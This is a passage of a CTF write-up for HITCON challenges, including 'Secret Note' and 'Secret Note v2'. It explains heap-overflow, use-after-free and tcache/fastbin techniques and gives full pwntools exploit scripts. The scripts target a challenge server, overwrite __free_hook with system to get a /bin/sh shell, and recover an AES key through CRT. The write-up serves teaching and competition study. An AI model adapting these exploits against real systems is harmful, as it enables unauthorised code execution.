<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">cd</span><span class="hljs-params">(name)</span>:</span>
    cmd(<span class="hljs-string">'cd '</span>+name)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">rm</span><span class="hljs-params">(name)</span>:</span>
    cmd(<span class="hljs-string">'rm '</span>+name)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ls</span><span class="hljs-params">(name)</span>:</span>
    cmd(<span class="hljs-string">'ls '</span>+name)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">cat</span><span class="hljs-params">(name)</span>:</span>
    cmd(<span class="hljs-string">'cat '</span>+name)

<span class="hljs-comment"># leak</span>
mkdir(<span class="hljs-string">'a'</span>*<span class="hljs-number">0x38</span>)
cd(<span class="hljs-string">'a'</span>*<span class="hljs-number">0x38</span>)
mkdir(<span class="hljs-string">'a'</span>*<span class="hljs-number">0x38</span>)
cd(<span class="hljs-string">'a'</span>*<span class="hljs-number">0x38</span>)
mkdir(<span class="hljs-string">'a'</span>*<span class="hljs-number">0x38</span>)
cd(<span class="hljs-string">'../../'</span>)
<span class="hljs-comment"># UAF</span>
rm(<span class="hljs-string">'a'</span>*<span class="hljs-number">0x38</span>)
mkdir(<span class="hljs-string">'a'</span>)
ls(<span class="hljs-string">'a'</span>)
x = r.recvline().split()[<span class="hljs-number">2</span>][:<span class="hljs-number">-4</span>]
heap = u64(x.ljust(<span class="hljs-number">8</span>, <span class="hljs-string">'\x00'</span>)) - <span class="hljs-number">0x12d40</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">'heap: 0x%x'</span> % heap

<span class="hljs-comment"># cleanup</span>
mkdir(<span class="hljs-string">'b'</span>*<span class="hljs-number">0x38</span>)
cd(<span class="hljs-string">'b'</span>*<span class="hljs-number">0x38</span>)
mkdir(<span class="hljs-string">'b'</span>*<span class="hljs-number">0x38</span>)
cd(<span class="hljs-string">'b'</span>*<span class="hljs-number">0x38</span>)
mkdir(<span class="hljs-string">'b'</span>*<span class="hljs-number">0x38</span>)
cd(<span class="hljs-string">'../../'</span>)


<span class="hljs-comment"># exhaust heap &amp; pad</span>
mkdir(<span class="hljs-string">'tmp'</span>)
cd(<span class="hljs-string">'tmp'</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">370</span>):
    mkfile(str(i), <span class="hljs-string">'a'</span>)
cd(<span class="hljs-string">'..'</span>)
<span class="hljs-comment">#raw_input("@")</span>

libc_addr = heap + <span class="hljs-number">0x20c00</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">'libc addr at: 0x%x'</span> % libc_addr
<span class="hljs-comment"># fill tache</span>
<span class="hljs-comment"># create small bin</span>
<span class="hljs-string">'''
for i in range(43):
    mkfile(str(i), 'a')
'''</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">43</span>, <span class="hljs-number">50</span>):
    mkfile(str(i), <span class="hljs-string">'a'</span>*<span class="hljs-number">0x48</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">43</span>):
    rm(str(i))
mkdir(<span class="hljs-string">'DIR'</span>)
cd(<span class="hljs-string">'DIR'</span>)
mkdir(<span class="hljs-string">'DIR'</span>)
cd(<span class="hljs-string">'DIR'</span>)
mkfile(<span class="hljs-string">'1'</span>, <span class="hljs-string">'1'</span>*<span class="hljs-number">0x48</span>)
cd(<span class="hljs-string">'../..'</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">43</span>, <span class="hljs-number">50</span>):
    rm(str(i))
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">7</span>):
    cmd(<span class="hljs-string">'ls '</span>.ljust(<span class="hljs-number">0x30</span>, <span class="hljs-string">'a'</span>))
rm(<span class="hljs-string">'DIR'</span>)
<span class="hljs-comment">#for i in range(43, 50):</span>
    <span class="hljs-comment">#mkfile(str(i), 'a'*0x48)</span>

<span class="hljs-comment">#r.interactive()</span>

mkdir(<span class="hljs-string">'DIR'</span>)
cd(<span class="hljs-string">'DIR'</span>)
mkdir(<span class="hljs-string">'DIR2'</span>)
cd(<span class="hljs-string">'..'</span>)

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0xcd</span>):
    ls(<span class="hljs-string">'flag'</span>)
rm(<span class="hljs-string">'tmp/1'</span>)
rm(<span class="hljs-string">'tmp/2'</span>)
cmd(<span class="hljs-string">'ls '</span>.ljust(<span class="hljs-number">0x63</span>, <span class="hljs-string">'a'</span>))
cat(<span class="hljs-string">'DIR/DIR2/DIR2'</span>)

x = r.recvuntil(<span class="hljs-string">'$ '</span>)
x = r.recvuntil(<span class="hljs-string">'$ '</span>, drop=<span class="hljs-keyword">True</span>)
<span class="hljs-keyword">print</span> repr(x)
libc = u64(x.ljust(<span class="hljs-number">8</span>, <span class="hljs-string">'\x00'</span>)) - <span class="hljs-number">0x3dacc8</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">'libc: 0x%x'</span> % libc
raw_input(<span class="hljs-string">"@"</span>)
<span class="hljs-comment">#cmd('ls '.ljust(0x63, 'a'))</span>

<span class="hljs-comment"># clear arena</span>
r.sendline(<span class="hljs-string">'A'</span>*<span class="hljs-number">0x10</span>)
ls(<span class="hljs-string">'A'</span>*<span class="hljs-number">0x10</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">3</span>):
    ls(<span class="hljs-string">'A'</span>*<span class="hljs-number">0x30</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">8</span>):
    ls(<span class="hljs-string">'A'</span>*<span class="hljs-number">0x50</span>)

<span class="hljs-comment"># exploit</span>
mkdir(<span class="hljs-string">'JIZZ'</span>)
cd(<span class="hljs-string">'JIZZ'</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">10</span>):
    mkdir(<span class="hljs-string">'J'</span>)
    cd(<span class="hljs-string">'J'</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">10</span>):
    cd(<span class="hljs-string">'..'</span>)
cd(<span class="hljs-string">'..'</span>)
rm(<span class="hljs-string">'JIZZ'</span>)
mkdir(<span class="hljs-string">'JIZZ'</span>)
rm(<span class="hljs-string">'JIZZ/JIZZ'</span>)
ls(<span class="hljs-string">'a'</span>)
ls(<span class="hljs-string">'a'</span>)
__free_hook = libc + <span class="hljs-number">0x3dc8a8</span>
system = libc + <span class="hljs-number">0x47dc0</span>
<span class="hljs-comment">#ls(flat(__free_hook-0x10+5-8)[:-1])</span>
ls(flat(__free_hook<span class="hljs-number">-0x10</span>)[:<span class="hljs-number">-1</span>])
ls(<span class="hljs-string">'a'</span>)
ls(<span class="hljs-string">'a'</span>)
ls(flat(system))
mkfile(<span class="hljs-string">'sh'</span>, <span class="hljs-string">'/bin/sh'</span>)
rm(<span class="hljs-string">'sh'</span>)


r.interactive()
</code></pre><h3 id="secret-note"><a class="header-link" href="#secret-note"></a>Secret Note</h3>
<h4 id="vulnerability-1"><a class="header-link" href="#vulnerability-1"></a>Vulnerability</h4>
<ul class="list">
<li>Heap overflow
There is a heap overflow of 12 bytes when adding a note of AES with length multiple of 16. However, the length and content couldn&#39;t be controlled.</li>
</ul>
<h4 id="thought-proccess"><a class="header-link" href="#thought-proccess"></a>Thought proccess</h4>
<ul class="list">
<li>The heap overlay is as follows:</li>
</ul>
<pre class="hljs"><code><span class="hljs-code">+-------------+</span>
| flag1 &amp; key |
|-------------|
|             |
|    a big    |
|   unsorted  |
|    chunk    |
<span class="hljs-section">|             |
+-------------+</span>
<span class="hljs-section">|      N      |
+-------------+</span>
</code></pre><ul class="list">
<li>If we just trigger the overflow right away, the proccess will crash on the next allocation since the unsorted bin&#39;s <code>size</code> and <code>fd</code> are corrupted.</li>
<li>The idea is to exhaust the <code>unsorted bin</code> and overflow the <code>N</code>. By doing this we could get <code>pow(key, 217, N)</code> on multiple <code>N</code>s and therefore use CRT to get the <code>key</code>.</li>
<li>However, the trouble is that we could only <code>malloc</code> a limited amount of notes, and they are not enough to exhaust the <code>unsorted bin</code>.</li>
<li>After several hours of trying, we discovered that <code>calloc</code> actually <strong>DOES NOT</strong> allocate from <code>tcache</code>, but freeing a calloced chunk put it in <code>tcache</code>! Wuuuuuuut!?</li>
<li>Therefore, we can use <code>show note</code> to exhaust the <code>unsorted bin</code>, overflow the <code>N</code>, print the encrypted <code>key</code>, do this several times, run CRT on them, and get the <code>key</code>.</li>
<li>After getting the <code>key</code>, just print the <code>flag1</code> and decrypt it :)</li>
</ul>
<h4 id="code"><a class="header-link" href="#code"></a>Code</h4>
<ul class="list">
<li>Overflow N</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python2</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> IPython <span class="hljs-keyword">import</span> embed
<span class="hljs-keyword">from</span> tqdm <span class="hljs-keyword">import</span> trange
<span class="hljs-keyword">import</span> pickle

f = open(<span class="hljs-string">'pickle'</span>, <span class="hljs-string">'wb'</span>)
a = []
<span class="hljs-keyword">for</span> N <span class="hljs-keyword">in</span> range(<span class="hljs-number">100</span>):
    r = remote(<span class="hljs-string">'52.194.203.194'</span>, <span class="hljs-number">21700</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add</span><span class="hljs-params">(idx, typ, sz, data)</span>:</span>
        r.sendlineafter(<span class="hljs-string">'exit'</span>, <span class="hljs-string">'1'</span>)
        r.sendlineafter(<span class="hljs-string">'index:'</span>, str(idx))
        r.sendlineafter(<span class="hljs-string">'type:'</span>, str(typ))
        r.sendlineafter(<span class="hljs-string">'size:'</span>, str(sz))
        r.sendafter(<span class="hljs-string">'Note:'</span>, data)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">show</span><span class="hljs-params">(idx)</span>:</span>
        r.sendlineafter(<span class="hljs-string">'exit'</span>, <span class="hljs-string">'2'</span>)
        r.sendlineafter(<span class="hljs-string">'index:'</span>, str(idx))
        <span class="hljs-keyword">return</span> r.recvline()

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">delete</span><span class="hljs-params">(idx)</span>:</span>
        r.sendlineafter(<span class="hljs-string">'exit'</span>, <span class="hljs-string">'3'</span>)
        r.sendlineafter(<span class="hljs-string">'index:'</span>, str(idx))

    add(<span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x30</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">0x30</span>)
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">3</span>, <span class="hljs-number">7</span>):
        add(i, <span class="hljs-number">1</span>, <span class="hljs-number">0x10</span>*i - <span class="hljs-number">13</span>, <span class="hljs-string">'a'</span>*(<span class="hljs-number">0x10</span>*i - <span class="hljs-number">13</span>)) 
    add(<span class="hljs-number">7</span>, <span class="hljs-number">2</span>, <span class="hljs-number">96</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">96</span>)

<span class="hljs-comment"># exhaust unsorted bin</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">7</span>):
        x = show(<span class="hljs-number">7</span>)
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">8</span><span class="hljs-number">-3</span>):
        show(<span class="hljs-number">3</span>)
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">6</span>):
        X = show(<span class="hljs-number">4</span>).strip()
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>):
        show(<span class="hljs-number">5</span>)

<span class="hljs-comment">#X = show(4).strip()</span>
    <span class="hljs-comment">#print X</span>
    blocks = [<span class="hljs-number">0</span>]*<span class="hljs-number">4</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>):
        blocks[i] = int(X[<span class="hljs-number">32</span>*i:<span class="hljs-number">32</span>*(i+<span class="hljs-number">1</span>)], <span class="hljs-number">16</span>)
        <span class="hljs-comment">#print '%x' % blocks[i]</span>

<span class="hljs-comment">#show(2)</span>
<span class="hljs-comment">#show(2)</span>
    payload = N^blocks[<span class="hljs-number">1</span>]
    payload = (<span class="hljs-string">'%032x'</span> % payload).decode(<span class="hljs-string">'hex'</span>)
    delete(<span class="hljs-number">2</span>)
    add(<span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x30</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">0x20</span>+payload)
    show(<span class="hljs-number">2</span>)
    xx = show(<span class="hljs-number">1</span>).strip()
    <span class="hljs-comment">#print x</span>
    <span class="hljs-keyword">print</span> xx
    a += [xx]
    <span class="hljs-comment">#raw_input("@%d" % N)</span>
    r.close()

pickle.dump(a, f)
</code></pre><ul class="list">
<li>CRT</li>
</ul>
<pre class="hljs"><code><span class="hljs-keyword">import</span> telnetlib
<span class="hljs-keyword">import</span> codecs
<span class="hljs-keyword">import</span> gmpy2
<span class="hljs-keyword">import</span> pickle
<span class="hljs-keyword">from</span> tqdm <span class="hljs-keyword">import</span> tqdm, trange

r = telnetlib.Telnet(<span class="hljs-string">'52.194.203.194'</span>, <span class="hljs-number">21700</span>)
<span class="hljs-comment"># r = telnetlib.Telnet('127.0.0.1', 20974)</span>
rline = <span class="hljs-keyword">lambda</span>: r.read_until(<span class="hljs-string">b'\n'</span>)[:<span class="hljs-number">-1</span>]
tohex = <span class="hljs-keyword">lambda</span> x: codecs.encode(x, <span class="hljs-string">'hex'</span>)
fromhex = <span class="hljs-keyword">lambda</span> x: codecs.decode(x, <span class="hljs-string">'hex'</span>)
xor = <span class="hljs-keyword">lambda</span> a, b: bytes(ai ^ bi <span class="hljs-keyword">for</span> ai, bi <span class="hljs-keyword">in</span> zip(a, b))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">rawenc</span><span class="hljs-params">(s)</span>:</span>
    r.write(<span class="hljs-string">b'1\n'</span>) <span class="hljs-comment"># Add note</span>
    r.write(<span class="hljs-string">b'3\n'</span>) <span class="hljs-comment"># index</span>
    r.write(<span class="hljs-string">b'1\n'</span>) <span class="hljs-comment"># Type</span>
    r.write(f<span class="hljs-string">'{len(s)}\n'</span>.encode(<span class="hljs-string">'ascii'</span>)) <span class="hljs-comment"># size</span>
    r.write(s)
    r.write(<span class="hljs-string">b'2\n'</span>) <span class="hljs-comment"># Show note</span>
    r.write(<span class="hljs-string">b'3\n'</span>) <span class="hljs-comment"># index</span>
    r.read_until(<span class="hljs-string">b'index:'</span>)
    r.read_until(<span class="hljs-string">b'index:'</span>)
    res = <span class="hljs-keyword">None</span>
    <span class="hljs-keyword">try</span>:
        l = rline()
        res = codecs.decode(l, <span class="hljs-string">'hex'</span>)
    <span class="hljs-keyword">except</span>:
        print(l)
        <span class="hljs-keyword">raise</span>
    r.write(<span class="hljs-string">b'3\n'</span>) <span class="hljs-comment"># Remove note</span>
    r.write(<span class="hljs-string">b'3\n'</span>) <span class="hljs-comment"># index</span>
    r.read_until(<span class="hljs-string">b'index:'</span>)
    <span class="hljs-keyword">return</span> res

enciv = rawenc(<span class="hljs-string">b'\0'</span> * <span class="hljs-number">17</span>)[:<span class="hljs-number">16</span>]

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">enc</span><span class="hljs-params">(s)</span>:</span>
    s = <span class="hljs-string">b'\0'</span> * <span class="hljs-number">16</span> + xor(enciv, s[:<span class="hljs-number">16</span>]) + s[<span class="hljs-number">16</span>:]
    <span class="hljs-keyword">return</span> rawenc(s)[<span class="hljs-number">16</span>:]

i = <span class="hljs-number">1</span>
arr = []
<span class="hljs-keyword">with</span> open(<span class="hljs-string">'o.pkl'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> f:
    arr = pickle.load(f)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> trange(len(arr), <span class="hljs-number">300</span>):
    plain = i.to_bytes(<span class="hljs-number">16</span>, <span class="hljs-string">'big'</span>)
    plain += <span class="hljs-string">b'\x10'</span> * <span class="hljs-number">16</span> + <span class="hljs-string">b'\x10'</span>
    overflow = enc(plain)[:<span class="hljs-number">32</span>][<span class="hljs-number">-4</span>:]
    arr.append(tohex(overflow).decode(<span class="hljs-string">'ascii'</span>))
    <span class="hljs-keyword">with</span> open(<span class="hljs-string">'o.pkl'</span>, <span class="hljs-string">'wb'</span>) <span class="hljs-keyword">as</span> f:
        pickle.dump(arr, f)
<span class="hljs-comment"># for i in trange(0, 300, desc='checking'):</span>
    <span class="hljs-comment"># plain = i.to_bytes(16, 'big')</span>
    <span class="hljs-comment"># plain += b'\x10' * 16 + b'\x10'</span>
    <span class="hljs-comment"># overflow = enc(plain)[:32][-4:]</span>
    <span class="hljs-comment"># assert(arr[i] == tohex(overflow).decode('ascii'))</span>
print(arr)
<span class="hljs-comment"># r.interact()</span>
</code></pre><ul class="list">
<li>Get flag</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python2</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> IPython <span class="hljs-keyword">import</span> embed
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">import</span> pickle

<span class="hljs-comment">#f = open('pickle', 'wb')</span>
a = []
r = remote(<span class="hljs-string">'52.194.203.194'</span>, <span class="hljs-number">21700</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add</span><span class="hljs-params">(idx, typ, sz, data)</span>:</span>
    r.sendlineafter(<span class="hljs-string">'exit'</span>, <span class="hljs-string">'1'</span>)
    r.sendlineafter(<span class="hljs-string">'index:'</span>, str(idx))
    r.sendlineafter(<span class="hljs-string">'type:'</span>, str(typ))
    r.sendlineafter(<span class="hljs-string">'size:'</span>, str(sz))
    r.sendafter(<span class="hljs-string">'Note:'</span>, data)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">show</span><span class="hljs-params">(idx)</span>:</span>
    r.sendlineafter(<span class="hljs-string">'exit'</span>, <span class="hljs-string">'2'</span>)
    r.sendlineafter(<span class="hljs-string">'index:'</span>, str(idx))
    <span class="hljs-keyword">return</span> r.recvline()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">delete</span><span class="hljs-params">(idx)</span>:</span>
    r.sendlineafter(<span class="hljs-string">'exit'</span>, <span class="hljs-string">'3'</span>)
    r.sendlineafter(<span class="hljs-string">'index:'</span>, str(idx))

add(<span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x11</span>, <span class="hljs-string">'\x00'</span>*<span class="hljs-number">0x11</span>)
x = show(<span class="hljs-number">2</span>)
blocks = [<span class="hljs-number">0</span>]*<span class="hljs-number">4</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">2</span>):
    blocks[i] = int(x[<span class="hljs-number">32</span>*i:<span class="hljs-number">32</span>*(i+<span class="hljs-number">1</span>)], <span class="hljs-number">16</span>)
    <span class="hljs-keyword">print</span> <span class="hljs-string">'%x'</span> % blocks[i]

<span class="hljs-comment">#key = '1111111111111111'</span>
key = <span class="hljs-string">'$#@!zxcvasdfqwer'</span>
iv = (<span class="hljs-string">'%032x'</span> % blocks[<span class="hljs-number">0</span>]).decode(<span class="hljs-string">'hex'</span>)
aes_iv = AES.new(key, AES.MODE_CBC, <span class="hljs-string">'\x00'</span>*<span class="hljs-number">16</span>)
iv = aes_iv.decrypt(iv)

<span class="hljs-keyword">print</span> <span class="hljs-string">'iv:'</span>, iv.encode(<span class="hljs-string">'hex'</span>)
x = show(<span class="hljs-number">0</span>).strip()
<span class="hljs-keyword">print</span> x
aes = AES.new(key, AES.MODE_CBC, iv)
plain = aes.decrypt(x.decode(<span class="hljs-string">'hex'</span>))
<span class="hljs-keyword">print</span> plain
<span class="hljs-comment">#pickle.dump(a, f)</span>

r.interactive()

<span class="hljs-comment"># hitcon{*?!@_funny_c3ypt0_4nd_pwN__$$%#}</span>
</code></pre><h3 id="secret-note-v2"><a class="header-link" href="#secret-note-v2"></a>Secret Note v2</h3>
<h4 id="thought-proccess-1"><a class="header-link" href="#thought-proccess-1"></a>Thought proccess</h4>
<ul class="list">
<li>In the second part of the challange, we have to get the shell.</li>
<li>Since we now have the key, the overflowed content could be controlled as follows:<ul class="list">
<li>Leak <code>IV</code>, this could be done easily by decrypting a content of all zeros.</li>
<li>The overflowing block is always <code>AES.enc(&#39;\x10&#39;*16 ^ last_block, key, IV)</code></li>
<li>Say we want the encrypted content be <code>x</code>, we can controll <code>x</code> to arbitrary value by:<pre class="hljs"><code><span class="hljs-attr">last_block</span> = x[-<span class="hljs-number">16</span>:]
<span class="hljs-attr">rest</span> = x[:-<span class="hljs-number">16</span>]
<span class="hljs-attr">xx</span> = AES.dec(last_block, key, IV) ^ <span class="hljs-string">'\x10'</span>*<span class="hljs-number">16</span>
<span class="hljs-attr">plain</span> = AES.dec(rest || xx, key, IV)</code></pre>This will lead us to:<h4 id="vulnerability-2"><a class="header-link" href="#vulnerability-2"></a>Vulnerability</h4>
</li>
</ul>
</li>
<li>12 bytes controllable heap overflow.<h4 id="leak-1"><a class="header-link" href="#leak-1"></a>Leak</h4>
</li>
<li>Overflow chunk size to create overlapped chunk.</li>
<li>Double free to lauch fastbin dup attack.</li>
<li>We don&#39;t have any address, but it&#39;s fine, just partial overwrite to a nearby <code>note</code> to change it&#39;s size to a big value.</li>
<li>Show the corrupted size <code>note</code>, it can be controlled to contain <code>libc</code> and <code>heap</code> address.<h4 id="exploit-1"><a class="header-link" href="#exploit-1"></a>Exploit</h4>
</li>
<li>With <code>libc</code> and <code>heap</code> address, there&#39;s nothing too fancy about the exploit thanks to <code>tcache</code> :)<h4 id="reflection"><a class="header-link" href="#reflection"></a>Reflection</h4>
</li>
</ul>
<p>Personally, we think this is the best challange we&#39;ve ever done (by kevin47 and sasdf). This challange was first opened by our team members who solve crypto. They discussed for a long time and couldn&#39;t find any cryptographic flaw. However, they did found the heap overflow vulnerability. After that, I entered this challange to see if the vulnerability can be exploited. But it was just impossible, the length and the content of the overflow both couldn&#39;t be controlled, so it will definitely mess up the next chunk size and the lower 4 bytes of fd.</p>
<p>Then it comes a funny situation.</p>
<ul class="list">
<li>I claimed that it was impossible to pwn the binary without solving the crypto part.</li>
<li>sasdf claimed that it was impossible to solve the crypto part without pwning.</li>
</ul>
<p>So we were basically deadlocked XD.</p>
<p>It the end, it turns out that we were both right. We had to create a cryptographic flaw using the overflow, use the flaw to get the AES key and therefore we could pwn the binary. Thanks to HITCON for such an awesome challange!</p>
<h4 id="code-1"><a class="header-link" href="#code-1"></a>Code</h4>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python2</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> IPython <span class="hljs-keyword">import</span> embed
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">import</span> pickle

context.arch = <span class="hljs-string">'amd64'</span>

r = remote(<span class="hljs-string">'52.194.203.194'</span>, <span class="hljs-number">21700</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add</span><span class="hljs-params">(idx, typ, sz, data)</span>:</span>
    r.sendlineafter(<span class="hljs-string">'exit'</span>, <span class="hljs-string">'1'</span>)
    r.sendlineafter(<span class="hljs-string">'index:'</span>, str(idx))
    r.sendlineafter(<span class="hljs-string">'type:'</span>, str(typ))
    r.sendlineafter(<span class="hljs-string">'size:'</span>, str(sz))
    r.sendafter(<span class="hljs-string">'Note:'</span>, data)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">show</span><span class="hljs-params">(idx)</span>:</span>
    r.sendlineafter(<span class="hljs-string">'exit'</span>, <span class="hljs-string">'2'</span>)
    r.sendlineafter(<span class="hljs-string">'index:'</span>, str(idx))
    <span class="hljs-keyword">return</span> r.recvline()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">delete</span><span class="hljs-params">(idx)</span>:</span>
    r.sendlineafter(<span class="hljs-string">'exit'</span>, <span class="hljs-string">'3'</span>)
    r.sendlineafter(<span class="hljs-string">'index:'</span>, str(idx))

add(<span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x11</span>, <span class="hljs-string">'\x00'</span>*<span class="hljs-number">0x11</span>)
x = show(<span class="hljs-number">2</span>)
blocks = [<span class="hljs-number">0</span>]*<span class="hljs-number">4</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">2</span>):
    blocks[i] = int(x[<span class="hljs-number">32</span>*i:<span class="hljs-number">32</span>*(i+<span class="hljs-number">1</span>)], <span class="hljs-number">16</span>)
    <span class="hljs-comment">#print '%x' % blocks[i]</span>

<span class="hljs-comment"># leak iv</span>
<span class="hljs-comment">#key = '1111111111111111'</span>
key = <span class="hljs-string">'$#@!zxcvasdfqwer'</span>
iv = (<span class="hljs-string">'%032x'</span> % blocks[<span class="hljs-number">0</span>]).decode(<span class="hljs-string">'hex'</span>)
aes_iv = AES.new(key, AES.MODE_CBC, <span class="hljs-string">'\x00'</span>*<span class="hljs-number">16</span>)
iv = aes_iv.decrypt(iv)
<span class="hljs-keyword">print</span> <span class="hljs-string">'iv:'</span>, iv.encode(<span class="hljs-string">'hex'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ciphertext2plain</span><span class="hljs-params">(cipher)</span>:</span>
    <span class="hljs-keyword">global</span> key, iv
    last = cipher[<span class="hljs-number">-16</span>:]
    aes = AES.new(key, AES.MODE_CBC, <span class="hljs-string">'\x00'</span>*<span class="hljs-number">16</span>)
    l_d = aes.decrypt(last)
    l_num = int(l_d.encode(<span class="hljs-string">'hex'</span>), <span class="hljs-number">16</span>)
    <span class="hljs-comment">#print hex(l_num)</span>
    l_num ^= <span class="hljs-number">0x10101010101010101010101010101010</span>
    <span class="hljs-comment">#print hex(l_num)</span>
    prev_cipher = (<span class="hljs-string">'%032x'</span> % l_num).decode(<span class="hljs-string">'hex'</span>)

    aes = AES.new(key, AES.MODE_CBC, iv)
    <span class="hljs-keyword">return</span> aes.decrypt(cipher[:<span class="hljs-number">-16</span>]+prev_cipher)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pad</span><span class="hljs-params">(plain)</span>:</span>
    l = len(plain)%<span class="hljs-number">16</span>
    l = <span class="hljs-number">16</span>-l
    <span class="hljs-keyword">return</span> plain+chr(l)*l

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt</span><span class="hljs-params">(plain)</span>:</span>
    <span class="hljs-keyword">global</span> key, iv
    aes = AES.new(key, AES.MODE_CBC, iv)
    <span class="hljs-keyword">return</span> aes.encrypt(pad(plain))[<span class="hljs-number">16</span>:]

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span><span class="hljs-params">(cipher)</span>:</span>
    <span class="hljs-keyword">global</span> key, iv
    aes = AES.new(key, AES.MODE_CBC, iv)
    <span class="hljs-keyword">return</span> aes.decrypt(cipher)

<span class="hljs-comment"># fill 0x30 tcache</span>
add(<span class="hljs-number">3</span>, <span class="hljs-number">1</span>, <span class="hljs-number">15</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">15</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">7</span>):
    show(<span class="hljs-number">2</span>)

<span class="hljs-comment"># overlapped chunk by overflow</span>
add(<span class="hljs-number">4</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x4f</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">0x4f</span>)
add(<span class="hljs-number">5</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x5f</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">0x5f</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">7</span>):
    show(<span class="hljs-number">5</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">10</span>):
    show(<span class="hljs-number">4</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">6</span>, <span class="hljs-number">8</span>):
    add(i, <span class="hljs-number">1</span>, <span class="hljs-number">0x5f</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">0x5f</span>)

<span class="hljs-comment"># overflow payload</span>
x = ciphertext2plain(<span class="hljs-string">'\x00'</span>*<span class="hljs-number">4</span>+flat(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0x451</span>, <span class="hljs-number">0</span>)[:<span class="hljs-number">-4</span>])
<span class="hljs-keyword">print</span> x.encode(<span class="hljs-string">'hex'</span>)
xx = encrypt(x)
<span class="hljs-keyword">print</span> xx.encode(<span class="hljs-string">'hex'</span>)
add(<span class="hljs-number">17</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x20</span>, x)
<span class="hljs-comment"># 4's size overwritten to 0x681</span>
show(<span class="hljs-number">17</span>)
delete(<span class="hljs-number">4</span>)

show(<span class="hljs-number">5</span>)
